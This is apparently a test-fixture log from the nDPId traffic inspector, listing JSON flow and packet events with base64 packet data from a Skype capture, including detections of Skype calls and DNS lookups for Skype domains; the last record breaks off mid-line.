+00491{"flow_id":186,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":575210,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaYR5AAEAGjj7AqAEi1cezr8hHAbtzmW+D0lUdQ4AYECy\/4AAAAQEICj4yKcdO3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00452{"flow_id":155,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1111,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":575474,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAywMAAEARLDbAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00453{"flow_id":156,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":575622,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAW5oAAEARm5\/AqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00449{"flow_id":179,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1129,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":839368,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8V+VAAEAGl5XAqAEi1cezr8hFnF3LCMHILu+4HYAYECoUpAAAAQEICj4yKs9O3xkb8jl+H1rFkgE="} +00691{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1130,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":881699,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtZZFAAEAG2TvAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECyM5gAAAQEICj4yKvnsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":959268,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2RjwAAEAR6djAqAEinTfroDLdnFYAIpfGe58CtglNf35c9xed\/TOYZPtdg4AQKYWmKBE="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1132,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1132,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":959269,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5iSIAAEARWf7AqAEinTc4kjLdnF4AJWUse6ECi+HEJAzVpo3ery\/yzADPEQnmy2088qUgojE="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1132,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00449{"flow_id":187,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1133,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":62836,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8eChAAEAGd\/nAqAEinTfrmMhInF05JqcNEQTd4oAYEClKIwAAAQEICj4yK65MXigTaJ2t5RvhjU8="} +00435{"flow_id":97,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1134,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":69222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0O6RAADMGePGdODQswKgBIpxUyC6j+8XAXpsVb4ARAB0n7gAAAQEICkxoExk+MduF"} +00450{"flow_id":175,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1135,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":137627,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uTZAAEAGBczAqAEib91KEshDnFkB\/oa5lZep1YAYECg5SAAAAQEICj4yK\/hNdq00xUaEJw2DyPo="} +00490{"flow_id":186,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1136,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":398158,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaEXRAAEAG3ejAqAEi1cezr8hHAbtzmW+D0lUdQ4AYECy8qwAAAQEICj4yLPxO3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00450{"flow_id":121,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":598388,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PThAAEAG5A\/AqAEiQAQXpsgznF2bjnl5scFgjYAZECmsYQAAAQEICj4yLcRMQvGckklqarCuvYw="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1138,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1431970677603,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.152","src_port":51274,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":603695,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAVVtAAEAGmsLAqAEinTfrmMhKAbuh9dLFAAAAALAC\/\/9BpgAAAgQFtAEDAwUBAQgKPjItyQAAAAAEAgAA"} +00448{"flow_id":192,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":668523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iGdN+uYwKgBIgG7yErORgmHofXSxqASOJDMTwAAAgQFrAQCCApMXimSPjItyQEDAwk="} +00437{"flow_id":192,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1140,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":668645,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tRpAAEAGOw\/AqAEinTfrmMhKAbuh9dLGzkYJiIAQECwjOgAAAQEICj4yLglMXimS"} +00535{"flow_id":192,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1141,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":668759,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8ls9AAEAGWRLAqAEinTfrmMhKAbuh9dLGzkYJiIAYECyd2QAAAQEICj4yLglMXimSgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBouZaP9NUCC0CxLkdMTRpD"} +00436{"flow_id":192,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1142,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":734616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0ICpAADYG2f+dN+uYwKgBIgG7yErORgmIofXTDoAQAB0y8QAAAQEICkxeKaI+Mi4J"} +00511{"flow_id":192,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1143,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":734724,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABp07ZAAEAGHD7AqAEinTfrmMhKAbuh9dMOzkYJiIAYECygLwAAAQEICj4yLktMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00450{"flow_id":148,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1144,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":791538,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vr9AAEAGMVDAqAEinTfrqsg5nGDRQCMtGayygYAYEChbEQAAAQEICj4yLoNMVm\/1OYUqH2Q1qrY="} +00469{"flow_id":178,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1145,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":840343,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMTWxAAEAGcYbAqAEib91KEshEAbuPHWXUImhLeYAYECwh7wAAAQEICj4yLrNNdq638u7zvxiLk1N\/bk90UuwO7GFozw5RA+4e"} +00449{"flow_id":146,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1146,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":886541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8pqRAAEAGsofAqAEinTeCjsg3nEXoG0gEyGJx5oAYECqcrgAAAQEICj4yLuFOwLXQr3KT27Tir4g="} +00449{"flow_id":187,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":960696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u0ZAAEAGNNvAqAEinTfrmMhInF05JqcNEQTd4oAYEClGpgAAAQEICj4yLytMXigTaJ2t5RvhjU8="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1148,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1148,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":974229,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+xqAAAEAR0mLAqAEinTeCqjLdnFIAKv3he6MC3h4IlBBBiQEMzD2u81WGXlCVYngNZSbA0YydRzOnaw=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1148,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1149,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.159","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":974230,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyXBgAAEARPQLAqAEinTeCnzLdnFAAHlQNe6UCbRCk9Zm0qay7l4LGg8ZPRvGp2A=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1149,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.159","src_port":13021,"dst_port":40016,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1150,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.170","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970677,"pkt_ts_usec":974294,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABATykAAEARrDLAqAEib91NqjLdnFUALAKIe6cC06nLoifBCja4NtBTBPAIMkjY1r+eVyo0K906xL\/RnajP"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1150,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.170","src_port":13021,"dst_port":40021,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00511{"flow_id":192,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":100002,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpUC5AAEAGn8bAqAEinTfrmMhKAbuh9dMOzkYJiIAYECyexAAAAQEICj4yL7ZMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00448{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":255384,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA82W1AADYG73lv3UotwKgBIpxIyCR2KHYk2DAKCYAYAB1GaQAAAQEICk2Hx8A+McPk18UgKt1JlMY="} +00519{"flow_id":160,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":367207,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABr679AAEAGA4vAqAEi1cezsMg+Absskrs7gA\/xNYAYECzY7QAAAQEICj4yMMBO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00511{"flow_id":192,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":626403,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpBntAAEAG6XnAqAEinTfrmMhKAbuh9dMOzkYJiIAYECyctwAAAQEICj4yMcNMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00468{"flow_id":166,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1156,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":626788,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLbKoAAEARioTAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00468{"flow_id":167,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1157,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":626920,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLq2IAAEARS8zAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00440{"flow_id":108,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1158,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":815299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0\/zdAADMGtV2dODQswKgBIgG7yC\/usf+bunqupIARAB1B\/gAAAQEICkxoFM0+MeCz"} +00492{"flow_id":186,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":844746,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaoa1AAEAGTa\/AqAEi1cezr8hHAbtzmW+D0lUdQ4AYECy3CgAAAQEICj4yMp1O3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00523{"flow_id":130,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1160,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":853914,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABx5S1AAEAGO+XAqAEiQAQXpsg1Abs0yMstLkeiTIAZECySxAAAAQEICj4yMqZMQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1161,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431970678945,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01093{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970678,"pkt_ts_usec":945749,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISqNoAAEARDjfAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2N